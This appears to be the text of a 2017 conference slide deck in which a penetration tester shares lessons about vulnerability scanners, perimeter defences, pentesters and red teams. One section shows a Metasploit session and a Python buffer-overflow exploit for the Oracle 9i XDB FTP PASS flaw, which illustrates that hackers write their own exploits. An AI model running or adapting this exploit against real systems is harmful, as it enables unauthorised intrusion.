Lessons Learned from a Web Application Penetration Tester

David Caissy
ISSA Los Angeles
July 2017
About Me

David Caissy

- Web App Penetration Tester
- Former Java Application Architect
- IT Security Trainer:
  - Developers
  - Penetration Testers
Disclaimer

• Personal opinion
• Things I often see
• Apply mainly to web applications
• Problems and solutions
Agenda

• Certifications
• Web App Vulnerability Scanners
• Perimeter Protections
• Hackers vs Penetration Testers
• Projects vs Security
• The "Untested"
• Good Clients
• Current Vulnerabilities?
Certifications

David Caissy

M.Sc., CEH, GPEN, GWAPT, GSEC, CISSP, OSCP, PMP, EANx
## Threat Actors

<table>
<thead>
<tr>
<th></th>
<th>Threat</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Script Kiddies Automated Tools</td>
</tr>
<tr>
<td>2</td>
<td>Hackers</td>
</tr>
<tr>
<td>3</td>
<td>Advanced Persistent Threat (APT)</td>
</tr>
</tbody>
</table>
Operating Systems vs Web Applications

Servers and workstations are similar

Web applications are different!
Choosing a Web App Vulnerability Scanner

SecTool Market tested 64 scanners

Zed Attack Proxy (ZAP)

<table>
<thead>
<tr>
<th>Feature</th>
<th>WIVET</th>
<th>SQLi</th>
<th>RXSS</th>
<th>LFI</th>
<th>RFI</th>
<th>Redirect</th>
<th>Backup</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accuracy</td>
<td>73%</td>
<td>100.0%</td>
<td>100.0%</td>
<td>75.0%</td>
<td>100.0%</td>
<td>16.67%</td>
<td>38.04%</td>
</tr>
<tr>
<td>False Positive</td>
<td>30.0%</td>
<td>0.0%</td>
<td>0.0%</td>
<td>16.67%</td>
<td>0.0%</td>
<td>33.33%</td>
<td></td>
</tr>
</tbody>
</table>

- **Audit Features**: 17
- **Input Vectors**: 11
- **WebApp Scanner**: ✔
- **Flash Scanner**: ✕
- **CGI Scanner**: ✔
- **WebService Scanner**: ✕
Using a vulnerability scanner requires skills!
Setting up a Vulnerability Scanner

• Specify the target
• Login/logout conditions
  – Different accounts
• HTML forms
• Scenarios (business flow)
• Clean up (between scenarios)
Setting up a Vulnerability Scanner

Other considerations:
• Client-side code (Javascript)
• Web services support
• Code coverage (%)
Vulnerability Scanners: Reports

• Read and understand the report
  – False positives?
  – Context?

• Write your own report!

• Client fixes all vulnerabilities
Things you may have missed...

- Logical errors
- Javascript vulnerabilities
- Perimeter protection deficiencies
- Scanners are *soooooo* noisy!!!
Vulnerability Scanners

• The easiest way is rarely the best one...

• My experience:
  – Max 40% of findings are from scanners
  – 1-day VA is way better than a single scan!
Congratulations!

Your web app is now protected against automated tools!!

BTW, this assessment of your critical system was done by a script kiddy...

I DON'T OFTEN USE COMMAND PROMPT, BUT WHEN I DO

I GO AROUND TELLING EVERYONE I'M A HACKER
Scanners vs IDS, IPS, WAF, SIEM and Firewalls

• Vulnerability Scanners
  – Look for vulnerabilities

• IDS, IPS, WAF, SIEM and Firewalls
  – Look for attacks

• Same classes of vulnerabilities/attacks!
  Ex: Both good against injection attacks and both bad against logical errors...
Can perimeter defenses catch everything?

No, we need humans too!!
Manual Testing

• Focus on things that scanners cannot find
• Better at testing defenses!
Hackers

• Can write their own exploits
• Experts in some areas
  – Script kiddies in others...
• Focus on breaking in
• Good at evading detection
Penetration Testers

• Perform:
  – Vulnerability scans
  – Vulnerability assessments
  – Penetration tests

• Good communication skills

• Can be **juniors** (script kiddies) or **experts** (hackers)!
root@kali:~# msfconsole

# cowsay++

\ 
\ (oo)_______\ 
\ (_____/\ 
\ ||---|| *

Taking notes in notepad? Have Metasploit Pro track & report your progress and findings -- learn more on http://rapid7.com/metasploit

  =-[ metasploit v4.12.15-dev ]
+ -- --|--=[ 1563 exploits - 904 auxiliary - 269 post ]
+ -- --|--=[ 455 payloads - 39 encoders - 8 nops ]
+ -- --|--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/ftp/oracle9i_xdb_ftp_pass
msf exploit(oracle9i_xdb_ftp_pass) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(oracle9i_xdb_ftp_pass) > set RHOST 129.168.1.10
RHOST => 129.168.1.10
msf exploit(oracle9i_xdb_ftp_pass) > exploit
# Python adaptation of Oracle 9i XDB FTP PASS overflow

```python
def main():
    parser = argparse.ArgumentParser(description='Oracle exploit')
    parser.add_argument('-test', action='store_true')
    parser.add_argument('-exploit', action='store_true')
    parser.add_argument('-ip', type=str, help='ip address of the target')
    parser.add_argument('-port', type=str, help='port of the target')
    args = parser.parse_args()

    host = args.ip
    port = int(args.port)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit = ""

    if args.test:
        sock.connect((host, port))
        data = sock.recv(1024)
        if "9.2.0.1.0" not in data:
            print "target: %s is not vulnerable" % host
        else:
            print "target: %s is vulnerable" % host
    elif args.exploit:
        user_command = "USER METERPRETE\n"
        ret = 0x60616d46
        ret_little_endian = "\x46\x6d\x61\x60"
        shellcode = "\xb7\x86\xf9\x1c\x79\x12\xe2\x7c\x2c\xb8\x8c\xd3\xf8\xbe\x90\x41\x37\x92\x14"
        sploit = "A"*442 + "\xeb\x06\x85\xf5" + ret_little_endian + shellcode
        pass_command = "PASS %s" % sploit
        sock.connect((host, port))
        sock.sendall(user_command)
        sock.sendall(pass_command)

if __name__ == '__main__':
    main()
```
```
Projects and Security

• Focus only on a specific system/solution
• Not interested in fixing ongoing operations
• Often out of scope:
  – Perimeter protection
  – Attack detection (SIEM integration)
  – Development environment
• Authorized attacks
Scope of the Engagement

Just the web app?
– Database
– Data manipulation process
– Development environment
– Source code repository
– Perimeter protection

• If not, then...
The "Untested"

- Forgotten servers
- Effectiveness of:
  - Perimeter protections
  - Logs
  - Network zoning
- Data exfiltration
- Leads to a false sense of security...
Red Team

- Closest thing to an APT
- Team of experts (the best!)
- Longer engagement (months)
- Only a few people in the know
- No rules (well, almost...)
Red Team

• Test the "untested"
• Can be very expensive...
  – Hybrid approach?
• If not, what is your plan?
Good Client?

- Allow most attacks
  - For meaningful assessments
- Allow pen testers to use their tools
- Allow time for the assessments
Good Client?

- Question poor reports
- Implement recommendations
- Track vulnerabilities
- Push left!
Current Vulnerabilities?

• Nobody knows what’s coming at us
• Are 0-days common in web apps?
• Fast detection is the key...
  – WAF
  – Logs
What’s your goal?

<table>
<thead>
<tr>
<th></th>
<th>Threat</th>
<th>Tools</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Script kiddies</td>
<td>Vulnerability Scanners</td>
</tr>
<tr>
<td></td>
<td>Automated tools</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>Hackers</td>
<td>Penetration Testers</td>
</tr>
<tr>
<td>3</td>
<td>Advanced Persistent Threat</td>
<td>Red Team</td>
</tr>
<tr>
<td></td>
<td>Threat</td>
<td>Tools</td>
</tr>
</tbody>
</table>
Summary

• Web app scanners
• The "Untested"
• Hackers
• Penetration testers
• Clients
• False sense of security
Thank you!

Don’t hesitate if you have any question!
daive@notools.net